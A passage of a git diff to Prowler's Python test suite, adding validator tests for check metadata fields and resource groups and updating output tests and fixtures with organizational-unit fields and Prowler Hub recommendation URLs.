SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -698,7 +2208,7 @@ class TestCheckMetada: ResourceType="resource1", Description="Description 1", Risk="risk1", - RelatedUrl="https://example.com", + RelatedUrl="", Remediation={ "Code": { "CLI": "cli1", @@ -706,9 +2216,12 @@ class TestCheckMetada: "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/test_check", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -719,6 +2232,101 @@ class TestCheckMetada: assert "AdditionalURLs must be a list" in str(exc_info.value) +class TestResourceGroupValidator: + """Test class for ResourceGroup validator""" + + def _base_metadata(self, **overrides): + """Helper to build valid metadata with overrides""" + base = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + base.update(overrides) + return base + + @pytest.mark.parametrize( + "resource_group", + [ + "compute", + "container", + "serverless", + "database", + "storage", + "network", + "IAM", + "messaging", + "security", + "monitoring", + "api_gateway", + "ai_ml", + "governance", + "collaboration", + "devops", + "analytics", + ], + ) + def test_valid_resource_group(self, resource_group): + """Test all valid ResourceGroup values are accepted""" + metadata = CheckMetadata(**self._base_metadata(ResourceGroup=resource_group)) + assert metadata.ResourceGroup == resource_group + + def test_resource_group_empty_string_allowed(self): + """Test that empty string (default) is allowed for ResourceGroup""" + metadata = CheckMetadata(**self._base_metadata(ResourceGroup="")) + assert metadata.ResourceGroup == "" + + def test_resource_group_default_is_empty(self): + """Test that ResourceGroup defaults to empty string when not provided""" + metadata = CheckMetadata(**self._base_metadata()) + assert metadata.ResourceGroup == "" + + def test_resource_group_invalid_value(self): + """Test that invalid ResourceGroup value raises ValidationError""" + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**self._base_metadata(ResourceGroup="invalid_group")) + assert "Invalid ResourceGroup: 'invalid_group'" in str(exc_info.value) + + def test_resource_group_case_sensitive(self): + """Test that ResourceGroup validation is case-sensitive (IAM, not iam)""" + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**self._base_metadata(ResourceGroup="iam")) + assert "Invalid ResourceGroup: 'iam'" in str(exc_info.value) + + def test_resource_group_typo(self): + """Test that typos in ResourceGroup are rejected""" + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**self._base_metadata(ResourceGroup="computee")) + assert "Invalid ResourceGroup: 'computee'" in str(exc_info.value) + + class TestCheck: @mock.patch("prowler.lib.check.models.CheckMetadata.parse_file") def test_verify_names_consistency_all_match(self, mock_parse_file): @@ -810,3 +2418,249 @@ class TestCheck: msg = str(excinfo.value) assert "!= class name" in msg assert "!= file name" in msg + + +class TestExternalToolProviderValidatorBypass: + """Validators skip strict rules for external tool providers (image, iac, llm).""" + + EXTERNAL_METADATA_BASE = { + "Provider": "image", + "CheckID": "CVE-2024-1234", + "CheckTitle": "OpenSSL Buffer Overflow", + "CheckType": ["Container Image Security"], + "ServiceName": "container-image", + "SubServiceName": "", + "ResourceIdTemplate": "", + "Severity": "high", + "ResourceType": "container-image", + "ResourceGroup": "container", + "Description": "A buffer overflow vulnerability.", + "Risk": "Remote code execution.", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "", + "NativeIaC": "", + "Other": "", + "Terraform": "", + }, + "Recommendation": { + "Text": "Upgrade openssl", + "Url": "https://avd.aquasec.com/nvd/cve-2024-1234", + }, + }, + "Categories": ["vulnerability"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "", + } + + def test_external_provider_allows_non_hub_recommendation_url(self): + metadata = CheckMetadata(**self.EXTERNAL_METADATA_BASE) + assert ( + metadata.Remediation.Recommendation.Url + == "https://avd.aquasec.com/nvd/cve-2024-1234" + ) + + def test_native_provider_rejects_non_hub_recommendation_url(self): + data = { + **self.EXTERNAL_METADATA_BASE, + "Provider": "azure", + "CheckID": "test_check", + "ServiceName": "test", + "CheckType": [], + "Remediation": { + "Code": { + "CLI": "", + "NativeIaC": "", + "Other": "", + "Terraform": "", + }, + "Recommendation": { + "Text": "Fix it", + "Url": "https://avd.aquasec.com/nvd/cve-2024-1234", + }, + }, + } + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**data) + assert "Prowler Hub" in str(exc_info.value) + + def test_external_provider_allows_long_description(self): + data = {**self.EXTERNAL_METADATA_BASE, "Description": "A" * 500} + metadata = CheckMetadata(**data) + assert len(metadata.Description) == 500 + + def test_native_provider_rejects_long_description(self): + data = { + **self.EXTERNAL_METADATA_BASE, + "Provider": "azure", + "CheckID": "test_check", + "ServiceName": "test", + "CheckType": [], + "Categories": ["encryption"], + "Description": "A" * 401, + "Remediation": { + "Code": { + "CLI": "", + "NativeIaC": "", + "Other": "", + "Terraform": "", + }, + "Recommendation": { + "Text": "", + "Url": "", + }, + }, + } + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**data) + assert "Description must not exceed 400 characters" in str(exc_info.value) + + def test_external_provider_allows_long_risk(self): + data = {**self.EXTERNAL_METADATA_BASE, "Risk": "R" * 500} + metadata = CheckMetadata(**data) + assert len(metadata.Risk) == 500 + + def test_native_provider_rejects_long_risk(self): + data = { + **self.EXTERNAL_METADATA_BASE, + "Provider": "azure", + "CheckID": "test_check", + "ServiceName": "test", + "CheckType": [], + "Categories": ["encryption"], + "Risk": "R" * 401, + "Remediation": { + "Code": { + "CLI": "", + "NativeIaC": "", + "Other": "", + "Terraform": "", + }, + "Recommendation": { + "Text": "", + "Url": "", + }, + }, + } + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**data) + assert "Risk must not exceed 400 characters" in str(exc_info.value) + + def test_external_provider_allows_long_check_title(self): + data = {**self.EXTERNAL_METADATA_BASE, "CheckTitle": "T" * 200} + metadata = CheckMetadata(**data) + assert len(metadata.CheckTitle) == 200 + + def test_native_provider_rejects_long_check_title(self): + data = { + **self.EXTERNAL_METADATA_BASE, + "Provider": "azure", + "CheckID": "test_check", + "ServiceName": "test", + "CheckType": [], + "Categories": ["encryption"], + "CheckTitle": "T" * 151, + "Remediation": { + "Code": { + "CLI": "", + "NativeIaC": "", + "Other": "", + "Terraform": "", + }, + "Recommendation": { + "Text": "", + "Url": "", + }, + }, + } + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**data) + assert "CheckTitle must not exceed 150 characters" in str(exc_info.value) + + def test_external_provider_allows_non_standard_category(self): + data = {**self.EXTERNAL_METADATA_BASE, "Categories": ["vulnerability"]} + metadata = CheckMetadata(**data) + assert metadata.Categories == ["vulnerability"] + + def test_native_provider_rejects_non_standard_category(self): + data = { + **self.EXTERNAL_METADATA_BASE, + "Provider": "azure", + "CheckID": "test_check", + "ServiceName": "test", + "CheckType": [], + "Categories": ["vulnerability"], + "Remediation": { + "Code": { + "CLI": "", + "NativeIaC": "", + "Other": "", + "Terraform": "", + }, + "Recommendation": { + "Text": "", + "Url": "", + }, + }, + } + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**data) + assert "Invalid category" in str(exc_info.value) + + def test_external_provider_allows_ensure_prefix_in_title(self): + data = { + **self.EXTERNAL_METADATA_BASE, + "CheckTitle": "Ensure containers run as non-root", + } + metadata = CheckMetadata(**data) + assert metadata.CheckTitle == "Ensure containers run as non-root" + + def test_external_provider_allows_non_empty_related_url(self): + data = { + **self.EXTERNAL_METADATA_BASE, + "RelatedUrl": "https://avd.aquasec.com/nvd/cve-2024-1234", + } + metadata = CheckMetadata(**data) + assert metadata.RelatedUrl == "https://avd.aquasec.com/nvd/cve-2024-1234" + + def test_native_provider_rejects_non_empty_related_url(self): + data = { + **self.EXTERNAL_METADATA_BASE, + "Provider": "azure", + "CheckID": "test_check", + "ServiceName": "test", + "CheckType": [], + "Categories": ["encryption"], + "RelatedUrl": "https://example.com", + "Remediation": { + "Code": { + "CLI": "", + "NativeIaC": "", + "Other": "", + "Terraform": "", + }, + "Recommendation": { + "Text": "", + "Url": "", + }, + }, + } + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**data) + assert "RelatedUrl must be empty" in str(exc_info.value) + + def test_all_external_providers_bypass(self): + for provider in ("image", "iac", "llm"): + data = { + **self.EXTERNAL_METADATA_BASE, + "Provider": provider, + "Description": "D" * 500, + "Risk": "R" * 500, + "CheckTitle": "T" * 200, + "Categories": ["vulnerability"], + "RelatedUrl": "https://example.com/vuln", + } + metadata = CheckMetadata(**data) + assert metadata.Provider == provider diff --git a/tests/lib/outputs/asff/asff_test.py b/tests/lib/outputs/asff/asff_test.py index 5173b340d5..7895aeebdf 100644 --- a/tests/lib/outputs/asff/asff_test.py +++ b/tests/lib/outputs/asff/asff_test.py @@ -55,6 +55,8 @@ class TestASFF: ProductFields=ProductFields( ProviderVersion=prowler_version, ProwlerResourceName=finding.resource_uid, + ProwlerAccountOrganizationalUnitId=finding.account_ou_uid, + ProwlerAccountOrganizationalUnitName=finding.account_ou_name, ), GeneratorId="prowler-" + finding.metadata.CheckID, AwsAccountId=AWS_ACCOUNT_NUMBER, @@ -123,6 +125,8 @@ class TestASFF: ProductFields=ProductFields( ProviderVersion=prowler_version, ProwlerResourceName=finding.resource_uid, + ProwlerAccountOrganizationalUnitId=finding.account_ou_uid, + ProwlerAccountOrganizationalUnitName=finding.account_ou_name, ), GeneratorId="prowler-" + finding.metadata.CheckID, AwsAccountId=AWS_ACCOUNT_NUMBER, @@ -190,6 +194,8 @@ class TestASFF: ProductFields=ProductFields( ProviderVersion=prowler_version, ProwlerResourceName=finding.resource_uid, + ProwlerAccountOrganizationalUnitId=finding.account_ou_uid, + ProwlerAccountOrganizationalUnitName=finding.account_ou_name, ), GeneratorId="prowler-" + finding.metadata.CheckID, AwsAccountId=AWS_ACCOUNT_NUMBER, @@ -261,6 +267,8 @@ class TestASFF: ProductFields=ProductFields( ProviderVersion=prowler_version, ProwlerResourceName=finding.resource_uid, + ProwlerAccountOrganizationalUnitId=finding.account_ou_uid, + ProwlerAccountOrganizationalUnitName=finding.account_ou_name, ), GeneratorId="prowler-" + finding.metadata.CheckID, AwsAccountId=AWS_ACCOUNT_NUMBER, @@ -470,6 +478,8 @@ class TestASFF: ProductFields=ProductFields( ProviderVersion=prowler_version, ProwlerResourceName=finding.resource_uid, + ProwlerAccountOrganizationalUnitId=finding.account_ou_uid, + ProwlerAccountOrganizationalUnitName=finding.account_ou_name, ), GeneratorId="prowler-" + finding.metadata.CheckID, AwsAccountId=AWS_ACCOUNT_NUMBER, @@ -539,10 +549,14 @@ class TestASFF: "ProviderName": "Prowler", "ProviderVersion": prowler_version, "ProwlerResourceName": "test-arn", + "ProwlerAccountOrganizationalUnitId": "ou-abc1-12345678", + "ProwlerAccountOrganizationalUnitName": "Production/WebServices", }, "GeneratorId": "prowler-service_test_check_id", "AwsAccountId": "123456789012", - "Types": ["test-type"], + "Types": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], "FirstObservedAt": timestamp, "UpdatedAt": timestamp, "CreatedAt": timestamp, diff --git a/tests/lib/outputs/csv/csv_test.py b/tests/lib/outputs/csv/csv_test.py index 7b96f5ea89..b2b5d390df 100644 --- a/tests/lib/outputs/csv/csv_test.py +++ b/tests/lib/outputs/csv/csv_test.py @@ -29,15 +29,15 @@ class TestCSV: partition="aws", description="Description of the finding", risk="High", - related_url="http://example.com", + related_url="", remediation_recommendation_text="Recommendation text", - remediation_recommendation_url="http://example.com/remediation", + remediation_recommendation_url="https://hub.prowler.com/check/test_check", remediation_code_nativeiac="native-iac-code", remediation_code_terraform="terraform-code", remediation_code_other="other-code", remediation_code_cli="cli-code", compliance={"compliance_key": "compliance_value"}, - categories=["categorya", "categoryb"], + categories=["encryption", "logging"], depends_on=["dependency"], related_to=["related"], additional_urls=[ @@ -65,7 +65,10 @@ class TestCSV: assert output_data["PROVIDER"] == "aws" assert output_data["CHECK_ID"] == "service_test_check_id" assert output_data["CHECK_TITLE"] == "service_test_check_id" - assert output_data["CHECK_TYPE"] == "test-type" + assert ( + output_data["CHECK_TYPE"] + == "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ) assert isinstance(output_data["STATUS"], str) assert output_data["STATUS"] == "PASS" assert output_data["STATUS_EXTENDED"] == "status-extended" @@ -86,11 +89,11 @@ class TestCSV: assert output_data["REGION"] == AWS_REGION_EU_WEST_1 assert output_data["DESCRIPTION"] == "Description of the finding" assert output_data["RISK"] == "High" - assert output_data["RELATED_URL"] == "http://example.com" + assert output_data["RELATED_URL"] == "" assert output_data["REMEDIATION_RECOMMENDATION_TEXT"] == "Recommendation text" assert ( output_data["REMEDIATION_RECOMMENDATION_URL"] - == "http://example.com/remediation" + == "https://hub.prowler.com/check/test_check" ) assert output_data["REMEDIATION_CODE_NATIVEIAC"] == "native-iac-code" assert output_data["REMEDIATION_CODE_TERRAFORM"] == "terraform-code" @@ -98,7 +101,7 @@ class TestCSV: assert output_data["REMEDIATION_CODE_OTHER"] == "other-code" assert isinstance(output_data["COMPLIANCE"], str) assert output_data["COMPLIANCE"] == "compliance_key: compliance_value" - assert output_data["CATEGORIES"] == "categorya | categoryb" + assert output_data["CATEGORIES"] == "encryption | logging" assert output_data["DEPENDS_ON"] == "dependency" assert output_data["RELATED_TO"] == "related" assert ( @@ -107,6 +110,8 @@ class TestCSV: ) assert output_data["NOTES"] == "Notes about the finding" assert output_data["PROWLER_VERSION"] == prowler_version + assert output_data["ACCOUNT_OU_UID"] == "ou-abc1-12345678" + assert output_data["ACCOUNT_OU_NAME"] == "Production/WebServices" @freeze_time(datetime.now()) def test_csv_write_to_file(self): @@ -121,7 +126,7 @@ class TestCSV: output.batch_write_data_to_file() mock_file.seek(0) - expected_csv = f"AUTH_METHOD;TIMESTAMP;ACCOUNT_UID;ACCOUNT_NAME;ACCOUNT_EMAIL;ACCOUNT_ORGANIZATION_UID;ACCOUNT_ORGANIZATION_NAME;ACCOUNT_TAGS;FINDING_UID;PROVIDER;CHECK_ID;CHECK_TITLE;CHECK_TYPE;STATUS;STATUS_EXTENDED;MUTED;SERVICE_NAME;SUBSERVICE_NAME;SEVERITY;RESOURCE_TYPE;RESOURCE_UID;RESOURCE_NAME;RESOURCE_DETAILS;RESOURCE_TAGS;PARTITION;REGION;DESCRIPTION;RISK;RELATED_URL;REMEDIATION_RECOMMENDATION_TEXT;REMEDIATION_RECOMMENDATION_URL;REMEDIATION_CODE_NATIVEIAC;REMEDIATION_CODE_TERRAFORM;REMEDIATION_CODE_CLI;REMEDIATION_CODE_OTHER;COMPLIANCE;CATEGORIES;DEPENDS_ON;RELATED_TO;NOTES;PROWLER_VERSION;ADDITIONAL_URLS\r\nprofile: default;{datetime.now()};123456789012;123456789012;;test-organization-id;test-organization;test-tag:test-value;test-unique-finding;aws;service_test_check_id;service_test_check_id;test-type;PASS;;False;service;;high;test-resource;;;;;aws;eu-west-1;check description;test-risk;test-url;;;;;;;test-compliance: test-compliance;test-category;test-dependency;test-related-to;test-notes;{prowler_version};https://docs.aws.amazon.com/prescriptive-guidance/latest/migration-operations-integration/best-practices.html | https://docs.aws.amazon.com/prescriptive-guidance/latest/migration-operations-integration/introduction.html\r\n" + expected_csv = f"AUTH_METHOD;TIMESTAMP;ACCOUNT_UID;ACCOUNT_NAME;ACCOUNT_EMAIL;ACCOUNT_ORGANIZATION_UID;ACCOUNT_ORGANIZATION_NAME;ACCOUNT_TAGS;FINDING_UID;PROVIDER;CHECK_ID;CHECK_TITLE;CHECK_TYPE;STATUS;STATUS_EXTENDED;MUTED;SERVICE_NAME;SUBSERVICE_NAME;SEVERITY;RESOURCE_TYPE;RESOURCE_UID;RESOURCE_NAME;RESOURCE_DETAILS;RESOURCE_TAGS;PARTITION;REGION;DESCRIPTION;RISK;RELATED_URL;REMEDIATION_RECOMMENDATION_TEXT;REMEDIATION_RECOMMENDATION_URL;REMEDIATION_CODE_NATIVEIAC;REMEDIATION_CODE_TERRAFORM;REMEDIATION_CODE_CLI;REMEDIATION_CODE_OTHER;COMPLIANCE;CATEGORIES;DEPENDS_ON;RELATED_TO;NOTES;PROWLER_VERSION;ADDITIONAL_URLS;ACCOUNT_OU_UID;ACCOUNT_OU_NAME\r\nprofile: default;{datetime.now()};123456789012;123456789012;;test-organization-id;test-organization;test-tag:test-value;test-unique-finding;aws;service_test_check_id;service_test_check_id;Software and Configuration Checks/AWS Security Best Practices/Network Reachability;PASS;;False;service;;high;test-resource;;;;;aws;eu-west-1;check description;test-risk;;;;;;;;test-compliance: test-compliance;encryption;test-dependency;test-related-to;test-notes;{prowler_version};https://docs.aws.amazon.com/prescriptive-guidance/latest/migration-operations-integration/best-practices.html | https://docs.aws.amazon.com/prescriptive-guidance/latest/migration-operations-integration/introduction.html;ou-abc1-12345678;Production/WebServices\r\n" content = mock_file.read() assert content == expected_csv @@ -199,7 +204,7 @@ class TestCSV: with patch.object(temp_file, "close", return_value=None): csv.batch_write_data_to_file() - expected_csv = f"AUTH_METHOD;TIMESTAMP;ACCOUNT_UID;ACCOUNT_NAME;ACCOUNT_EMAIL;ACCOUNT_ORGANIZATION_UID;ACCOUNT_ORGANIZATION_NAME;ACCOUNT_TAGS;FINDING_UID;PROVIDER;CHECK_ID;CHECK_TITLE;CHECK_TYPE;STATUS;STATUS_EXTENDED;MUTED;SERVICE_NAME;SUBSERVICE_NAME;SEVERITY;RESOURCE_TYPE;RESOURCE_UID;RESOURCE_NAME;RESOURCE_DETAILS;RESOURCE_TAGS;PARTITION;REGION;DESCRIPTION;RISK;RELATED_URL;REMEDIATION_RECOMMENDATION_TEXT;REMEDIATION_RECOMMENDATION_URL;REMEDIATION_CODE_NATIVEIAC;REMEDIATION_CODE_TERRAFORM;REMEDIATION_CODE_CLI;REMEDIATION_CODE_OTHER;COMPLIANCE;CATEGORIES;DEPENDS_ON;RELATED_TO;NOTES;PROWLER_VERSION;ADDITIONAL_URLS\nprofile: default;{datetime.now()};123456789012;123456789012;;test-organization-id;test-organization;test-tag:test-value;test-unique-finding;aws;service_test_check_id;service_test_check_id;test-type;PASS;;False;service;;high;test-resource;;;;;aws;eu-west-1;check description;test-risk;test-url;;;;;;;test-compliance: test-compliance;test-category;test-dependency;test-related-to;test-notes;{prowler_version};https://docs.aws.amazon.com/prescriptive-guidance/latest/migration-operations-integration/best-practices.html | https://docs.aws.amazon.com/prescriptive-guidance/latest/migration-operations-integration/introduction.html\n" + expected_csv = f"AUTH_METHOD;TIMESTAMP;ACCOUNT_UID;ACCOUNT_NAME;ACCOUNT_EMAIL;ACCOUNT_ORGANIZATION_UID;ACCOUNT_ORGANIZATION_NAME;ACCOUNT_TAGS;FINDING_UID;PROVIDER;CHECK_ID;CHECK_TITLE;CHECK_TYPE;STATUS;STATUS_EXTENDED;MUTED;SERVICE_NAME;SUBSERVICE_NAME;SEVERITY;RESOURCE_TYPE;RESOURCE_UID;RESOURCE_NAME;RESOURCE_DETAILS;RESOURCE_TAGS;PARTITION;REGION;DESCRIPTION;RISK;RELATED_URL;REMEDIATION_RECOMMENDATION_TEXT;REMEDIATION_RECOMMENDATION_URL;REMEDIATION_CODE_NATIVEIAC;REMEDIATION_CODE_TERRAFORM;REMEDIATION_CODE_CLI;REMEDIATION_CODE_OTHER;COMPLIANCE;CATEGORIES;DEPENDS_ON;RELATED_TO;NOTES;PROWLER_VERSION;ADDITIONAL_URLS;ACCOUNT_OU_UID;ACCOUNT_OU_NAME\nprofile: default;{datetime.now()};123456789012;123456789012;;test-organization-id;test-organization;test-tag:test-value;test-unique-finding;aws;service_test_check_id;service_test_check_id;Software and Configuration Checks/AWS Security Best Practices/Network Reachability;PASS;;False;service;;high;test-resource;;;;;aws;eu-west-1;check description;test-risk;;;;;;;;test-compliance: test-compliance;encryption;test-dependency;test-related-to;test-notes;{prowler_version};https://docs.aws.amazon.com/prescriptive-guidance/latest/migration-operations-integration/best-practices.html | https://docs.aws.amazon.com/prescriptive-guidance/latest/migration-operations-integration/introduction.html;ou-abc1-12345678;Production/WebServices\n" temp_file.seek(0) diff --git a/tests/lib/outputs/finding_test.py b/tests/lib/outputs/finding_test.py index beed1056f6..00ce2fe1f7 100644 --- a/tests/lib/outputs/finding_test.py +++ b/tests/lib/outputs/finding_test.py @@ -151,6 +151,8 @@ class TestFinding: provider.organizations_metadata.organization_arn = "mock_account_org_uid" provider.organizations_metadata.organization_id = "mock_account_org_name" provider.organizations_metadata.account_tags = {"tag1": "value1"} + provider.organizations_metadata.account_ou_id = "ou-test-12345678" + provider.organizations_metadata.account_ou_name = "TestOU/SubOU" # Mock check result check_output = MagicMock() @@ -204,6 +206,8 @@ class TestFinding: assert finding_output.account_email == "mock_account_email" assert finding_output.account_organization_uid == "mock_account_org_uid" assert finding_output.account_organization_name == "mock_account_org_name" + assert finding_output.account_ou_uid == "ou-test-12345678" + assert finding_output.account_ou_name == "TestOU/SubOU" assert finding_output.account_tags == {"tag1": "value1"} # Metadata @@ -241,6 +245,45 @@ class TestFinding: assert finding_output.service_name == "service" assert finding_output.raw == {} + def test_generate_output_aws_without_organizations_metadata(self): + # Simulates running without --organizations-role + provider = MagicMock() + provider.type = "aws" + provider.identity.profile = "mock_auth" + provider.identity.account = "mock_account_uid" + provider.identity.partition = "aws" + provider.organizations_metadata = None + + check_output = MagicMock() + check_output.resource_id = "test_resource_id" + check_output.resource_arn = "test_resource_arn" + check_output.resource_details = "test_resource_details" + check_output.resource_tags = {} + check_output.region = "us-east-1" + check_output.partition = "aws" + check_output.status = Status.PASS + check_output.status_extended = "mock_status_extended" + check_output.muted = False + check_output.check_metadata = mock_check_metadata(provider="aws") + check_output.resource = {} + check_output.compliance = {} + + output_options = MagicMock() + output_options.unix_timestamp = False + + finding_output = Finding.generate_output(provider, check_output, output_options) + + assert isinstance(finding_output, Finding) + assert finding_output.account_uid == "mock_account_uid" + # get_nested_attribute returns empty string when the attribute chain + # is None, so the Finding fields are "" not None + assert finding_output.account_name == "" + assert finding_output.account_email == "" + assert finding_output.account_organization_uid == "" + assert finding_output.account_organization_name == "" + assert finding_output.account_ou_uid == "" + assert finding_output.account_ou_name == "" + def test_generate_output_azure(self): # Mock provider provider = MagicMock() @@ -799,6 +842,8 @@ class TestFinding: provider.organizations_metadata.organization_arn = "mock_account_org_uid" provider.organizations_metadata.organization_id = "mock_account_org_name" provider.organizations_metadata.account_tags = {"tag1": "value1"} + provider.organizations_metadata.account_ou_id = "" + provider.organizations_metadata.account_ou_name = "" # Mock check result check_output = MagicMock() @@ -865,16 +910,19 @@ class TestFinding: "provider": "test_provider", "checkid": "service_check_001", "checktitle": "Test Check", - "checktype": ["type1"], + "checktype": [], "servicename": "service", "subservicename": "SubService", "severity": "high", "resourcetype": "TestResource", "description": "A test check", "risk": "High risk", - "relatedurl": "http://example.com", + "relatedurl": "", "remediation": { - "recommendation": {"text": "Fix it", "url": "http://fix.com"}, + "recommendation": { + "text": "Fix it", + "url": "https://hub.prowler.com/check/service_check_001", + }, "code": { "nativeiac": "iac_code", "terraform": "terraform_code", @@ -883,7 +931,7 @@ class TestFinding: }, }, "resourceidtemplate": "template", - "categories": ["cat-one", "cat-two"], + "categories": ["encryption", "logging"], "dependson": ["dep1"], "relatedto": ["rel1"], "notes": "Some notes", @@ -908,22 +956,25 @@ class TestFinding: assert meta.Provider == "test_provider" assert meta.CheckID == "service_check_001" assert meta.CheckTitle == "Test Check" - assert meta.CheckType == ["type1"] + assert meta.CheckType == [] assert meta.ServiceName == "service" assert meta.SubServiceName == "SubService" assert meta.Severity == "high" assert meta.ResourceType == "TestResource" assert meta.Description == "A test check" assert meta.Risk == "High risk" - assert meta.RelatedUrl == "http://example.com" + assert meta.RelatedUrl == "" assert meta.Remediation.Recommendation.Text == "Fix it" - assert meta.Remediation.Recommendation.Url == "http://fix.com" + assert ( + meta.Remediation.Recommendation.Url + == "https://hub.prowler.com/check/service_check_001" + ) assert meta.Remediation.Code.NativeIaC == "iac_code" assert meta.Remediation.Code.Terraform == "terraform_code" assert meta.Remediation.Code.CLI == "cli_code" assert meta.Remediation.Code.Other == "other_code" assert meta.ResourceIdTemplate == "template" - assert meta.Categories == ["cat-one", "cat-two"] + assert meta.Categories == ["encryption", "logging"] assert meta.DependsOn == ["dep1"] assert meta.RelatedTo == ["rel1"] assert meta.Notes == "Some notes" @@ -989,11 +1040,11 @@ class TestFinding: "dependson": [], "relatedto": [], "categories": [], - "checktitle": "Ensure that Auto provisioning of 'Log Analytics agent for Azure VMs' is Set to 'On'", + "checktitle": "Auto provisioning of Log Analytics agent for Azure VMs should be On", "compliance": None, - "relatedurl": "https://docs.microsoft.com/en-us/azure/security-center/security-center-data-security", + "relatedurl": "", "description": ( - "Ensure that Auto provisioning of 'Log Analytics agent for Azure VMs' is Set to 'On'. " + "Auto provisioning of Log Analytics agent for Azure VMs should be On. " "The Microsoft Monitoring Agent scans for various security-related configurations and events such as system updates, " "OS vulnerabilities, endpoint protection, and provides alerts." ), @@ -1005,9 +1056,9 @@ class TestFinding: "terraform": "", }, "recommendation": { - "url": "https://learn.microsoft.com/en-us/azure/defender-for-cloud/monitoring-components", + "url": "https://hub.prowler.com/check/defender_auto_provisioning_log_analytics_agent_vms_on", "text": ( - "Ensure comprehensive visibility into possible security vulnerabilities, including missing updates, " + "Comprehensive visibility into possible security vulnerabilities, including missing updates, " "misconfigured operating system security settings, and active threats, allowing for timely mitigation and improved overall security posture" ), }, @@ -1054,16 +1105,16 @@ class TestFinding: assert meta.CheckID == "defender_auto_provisioning_log_analytics_agent_vms_on" assert ( meta.CheckTitle - == "Ensure that Auto provisioning of 'Log Analytics agent for Azure VMs' is Set to 'On'" + == "Auto provisioning of Log Analytics agent for Azure VMs should be On" ) assert meta.Severity == "medium" assert meta.ResourceType == "AzureDefenderPlan" assert ( meta.Remediation.Recommendation.Url - == "https://learn.microsoft.com/en-us/azure/defender-for-cloud/monitoring-components" + == "https://hub.prowler.com/check/defender_auto_provisioning_log_analytics_agent_vms_on" ) assert meta.Remediation.Recommendation.Text.startswith( - "Ensure comprehensive visibility" + "Comprehensive visibility" ) expected_segments = [ @@ -1111,7 +1162,7 @@ class TestFinding: "resourcetype": "GCPResourceType", "description": "GCP check description", "risk": "Medium risk", - "relatedurl": "http://gcp.example.com", + "relatedurl": "", "remediation": { "code": { "nativeiac": "iac_code", @@ -1119,10 +1170,13 @@ class TestFinding: "cli": "cli_code", "other": "other_code", }, - "recommendation": {"text": "Fix it", "url": "http://fix-gcp.com"}, + "recommendation": { + "text": "Fix it", + "url": "https://hub.prowler.com/check/service_gcp_check_001", + }, }, "resourceidtemplate": "template", - "categories": ["cat-one", "cat-two"], + "categories": ["encryption", "logging"], "dependson": ["dep1"], "relatedto": ["rel1"], "notes": "Some notes", @@ -1191,7 +1245,7 @@ class TestFinding: "resourcetype": "K8sResourceType", "description": "K8s check description", "risk": "Low risk", - "relatedurl": "http://k8s.example.com", + "relatedurl": "", "remediation": { "code": { "nativeiac": "iac_code", @@ -1199,10 +1253,13 @@ class TestFinding: "cli": "cli_code", "other": "other_code", }, - "recommendation": {"text": "Fix it", "url": "http://fix-k8s.com"}, + "recommendation": { + "text": "Fix it", + "url": "https://hub.prowler.com/check/service_k8s_check_001", + }, }, "resourceidtemplate": "template", - "categories": ["cat-one"], + "categories": ["encryption"], "dependson": [], "relatedto": [], "notes": "K8s notes", @@ -1257,7 +1314,7 @@ class TestFinding: "resourcetype": "M365ResourceType", "description": "M365 check description", "risk": "High risk", - "relatedurl": "http://m365.example.com", + "relatedurl": "", "remediation": { "code": { "nativeiac": "iac_code", @@ -1265,10 +1322,13 @@ class TestFinding: "cli": "cli_code", "other": "other_code", }, - "recommendation": {"text": "Fix it", "url": "http://fix-m365.com"}, + "recommendation": { + "text": "Fix it", + "url": "https://hub.prowler.com/check/service_m365_check_001", + }, }, "resourceidtemplate": "template", - "categories": ["cat-one"], + "categories": ["encryption"], "dependson": [], "relatedto": [], "notes": "M365 notes", diff --git a/tests/lib/outputs/fixtures/fixtures.py b/tests/lib/outputs/fixtures/fixtures.py index 1ad20f33db..3163f161c7 100644 --- a/tests/lib/outputs/fixtures/fixtures.py +++ b/tests/lib/outputs/fixtures/fixtures.py @@ -25,14 +25,14 @@ def generate_finding_output( partition: str = "aws", description: str = "check description", risk: str = "test-risk", - related_url: str = "test-url", + related_url: str = "", remediation_recommendation_text: str = "", remediation_recommendation_url: str = "", remediation_code_nativeiac: str = "", remediation_code_terraform: str = "", remediation_code_cli: str = "", remediation_code_other: str = "", - categories: list[str] = ["test-category"], + categories: list[str] = ["encryption"], depends_on: list[str] = ["test-dependency"], related_to: list[str] = ["test-related-to"], notes: str = "test-notes", @@ -43,9 +43,19 @@ def generate_finding_output( service_name: str = "service", check_id: str = "service_test_check_id", check_title: str = "service_test_check_id", - check_type: list[str] = ["test-type"], + check_type: list[str] = None, provider_uid: str = None, + account_ou_uid: str = "ou-abc1-12345678", + account_ou_name: str = "Production/WebServices", ) -> Finding: + if check_type is None: + check_type = ( + [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ] + if provider == "aws" + else [] + ) return Finding( auth_method="profile: default", timestamp=timestamp if timestamp else datetime.now(), @@ 